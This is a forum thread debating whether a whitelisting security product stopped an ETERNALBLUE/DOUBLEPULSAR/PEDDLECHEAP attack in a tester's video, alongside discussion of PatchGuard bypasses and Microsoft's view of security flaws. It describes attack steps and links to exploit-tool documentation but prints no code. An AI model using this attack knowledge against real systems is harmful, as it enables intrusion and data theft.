WannaCry Exploit Could Infect Windows 10

Yeah, that was my take on it. This is where Kerberos protocol would be employed.

 

GhostHook – Bypassing PatchGuard with Processor Trace Based Hooking:
https://www.cyberark.com/threat-res...ing-patchguard-processor-trace-based-hooking/

From the article: "Please note, this is neither an elevation nor an exploitation technique. This technique is intended for post-exploitation scenario where the attacker has control over the asset. Since malicious kernel code (rootkits) often seeks to establish persistence in unfriendly territory, stealth technology plays a fundamental role."

 

Eset's definition:

https://www.welivesecurity.com/2015/02/27/exploits-work/

Microsoft considers Ghost hook not to be a "security flaw." Appears a PatchGuard bypass is not a security flaw.

https://www.bleepingcomputer.com/ne...tack-bypasses-windows-patchguard-protections/

So it appears Microsoft is only concerned about "security flaws." Question is "What is a security flaw?"

Let's sum it up. Security holes can be exploited. A security hole is a security flaw I assume. But, only "the security God" knows for sure what is a security flaw.

I hereby introduce a new term - security-babble.

 

In Windows 10 Final, wherever that might end up being (Q4 2018?/2019?), I think some mutual agreement can be found that it will make foulware makers of just these type of takeovers/programs a far harder job than ever before.

Can we agree to agree on this or are the doubts still too high to make and too early to tell?

 

security-semantic, you can't win against semantic

 

I taught you well .

 

@Zoltan_MRG... so were you able to demonstrate a breach with PeddleCheap in the EB/DP attack for VS? The video you sent me clearly showed that the DP hacker tools were not available, thus no breach.

I am certainly not saying that VS is perfect... I was just curious, and sincerely appreciate your help!

 

I would also like to know if VS was able to block PeddleCheap. If it's truly in-memory, then it shouldn't be possible according to my theory.

 

In regards to Microsoft's "flawed" security flaw logic and excuses is the following.

EternalPot used Casey Smith's "squiblydoo" Applocker bypass as it's payload. This bypass has been in existence for a year. Ditto for the atom bombing incident. So my take is Microsoft will only fix publically announced exploits and "pooh-pooh" anything else. Through its bug bounty program, it encourages third parties to find exploits. Note that it won't pay out that bounty for security flaws. So Microsoft basically introduces insecure products to the public and waits until someone else finds a exploit. Akin to an auto manufacturer selling a car and issuing a recall each time someone is killed driving it. However if people are injured driving the car, no recall is issued.

https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302

 

Definitely a lot of truth to that, unfortunately.

 

Dude, you have an in-memory fetish . I was just curious if the attack can be performed so that it is completely out of the scope of an AE (blocking executables, scripts and command lines). Since for a true zero day, a Windows patch will not be available, and anti-exploit techniques are not perfect.

Either way, I appreciate how MRG took the time to test some of the deny by default products that everyone has been discussing on security forums for years... which are obviously pretty cool products, otherwise users would not be so passionate about them .

 

I believe this is a better analogy.

An AV vendor states that they only protect against "really bad malware." They consider such as malware which makes your OS installation inoperable. Any other type of malware, they do not consider a "security flaw." The vendors states that when they get around to it, maybe, they will provide protection for the security issue in question.

Would you use/purchase such a product? The problem is that since Microsoft has a virtual monopoly on the desktop OS market, you have no choice other than to "suck it in and bravely carry on" with the never ending malware invasions.

 

The video I sent shows that ETERNALBLUE exploit is successful, it can install the DOUBLEPULSAR backdoor. DOUBLEPULSAR can install the PEDDLECHEAP malware payload. Some functionality of PEDDLECHEAP works, some not. E.g. one cannot start a command shell. But one can steal password hashes as far as I remember. And clearly it can steal information from the system. If the NSA is hacking someone with ETERNALBLUE/DOUBLEPULSAR/PEDDLECHEAP where VS installed, they will come up with a way to shutdown VS easily. I had no time to demonstrate this, but it is possible.

Here is the video about the whole attack:

https://youtu.be/6KCGCWdaxvM

Same happened when VS was configured for white-list mode.

I really hope this video will end this conversation.

 

Good point. However if a security product kernel process loaded at boot time in kernel mode as a protected process using the Win 10 ELAM driver, such a bypass would not be possible. Correct?

 

@Zoltan_MRG expect some complains/critics because you used the free version which:
- "Automatically allow parent process" (which can be disabled with the paid version)

do you mean "Always ON" Mode?

 

When VS blocks the DP tools in the metasploit port, it blocks them all. I would be very surprised if this was not the case with the port test you ran, but I could be wrong about this, which is why I want to run the exact same test that you are running.

The reason I would be surprised is because in your video, to me, it looks like you tried to run 3 DP hacker tools, and they all failed… however, if this is not the case, then please correct me if I am wrong.

5:37 – you are attempting to gain shell, but that tool fails

6:53 – you are attempting to take a screenshot of the target system, but that tool fails

7:09 – you are attempting to exfiltrate data, but that tool fails

What is even more interesting is that when you switch from the attacker machine to the target machine, over and over again (5:57-6:32 in the video), the video does not show the VS prompt / block on the target machine, yet the tool fails. To me, this could only mean one thing… all of the tools were blocked from loading / installing in the first place. But as I was saying, until I test for myself, it is difficult to say exactly what is going on with the test.

I studied the video closely when you first sent it to me a few days ago, but I was unable to find any demonstration of any of DP’s tools working. You were able to run the survey tool (at 3:59), to show what software is installed on the target machine, but that is the only “success” that I see in the video. If there are other "successes", I hope someone points them out, and specifies where it occurs in the video.

Do you have a video that demonstrates that you are able to exfiltrate data from the target machine when VS is ON?

Either way, can you kindly post either a walkthrough or a video of the exact test that you performed, so I can perform the exact test, so that we can be on the same page? In all fairness, I have asked a couple of times for a guide on the exact test you performed, so that I can run it myself.

Thank you for your help!

 

Absolutely! A guy named Adam has already demonstrated this. VS does not have self-protection yet, but it will within a month or two. VS is not on any of the blackhats radar yet, and I wanted users to be able to kill VS, in case something went wrong. Now that VS is completely stable, we can add self protection.

In all fairness, simply mentioning this point could easily be interpreted as a concession that VS was in fact able to block DP's malicious tools. And if it is able to do that, what makes anyone think that VS would not render a different payload useless as well? Sure, there might be a similar attack that is effective against VS, but so far, this has not been demonstrated.

 

The standard test procedure for an AV lab is to test a security product with default install configuration. It is a given that most security products can be "tweaked" for maximum protection.

 

i don't complain, i know that ; i expect some "supporters" to mention it

 

Yeah, that is what he means... well, Always ON or Smart ON. One of the things that I need to fix is that I need to make sure that an attack like this is blocked in all VS modes. It is super easy to fix, but I really need to run the same test that Zoltan_MRG is running, to ensure that the fix works for this port as well.

 

It is GREAT to know that we all agree on itman's following statement: "The standard test procedure for an AV lab is to test a security product with default install configuration. It is a given that most security products can be "tweaked" for maximum protection."

I just find it amusing that, as far as I am aware (if there are others, please let me know), VS is the only product where testers actually lower the security posture (e.g. put VS on AutoPilot) while testing, and yet it remains user-friendly in its default setting, Smart Mode, which is a higher security posture.

Think about that for a second.

 

Is the free version default install the same as the paid default install. I ask because I have never used the free version yet.

- "Automatically allow parent process" (which can be disabled with the paid version)"

Is it still recommended to eave this ticked ? The GUI says only disable if not using a web app that is not on the list.​

 

if you are paranoid , no. when i used VS i disabled it. i never let any soft automatically do stuff... recipe for disaster...

 

Yeah, it is perfectly safe, and really helps to auto allow items, and automatically build the tiny, customized whitelist for the user, without requiring a dangerous affirmative user prompt.

But the cool thing is, you can adjust the settings however you like, and if you prefer to receive these prompts, then you can disable this feature.

There are a lot of settings you can change to harden VS even more... but the default settings are a pretty good balance between security and usability.

 

Did you check to see if dlls were loaded? Also memory based memory base loading needs to be specified.

https://research.kudelskisecurity.c...loitation-tools-danderspritz-and-more-part-1/

Also 4:07 into the video shows PeddleCheap running as expected per the same screen shown below from the kudelskisecurity.com article:



Also of interest:

https://github.com/francisck/DanderSpritz_docs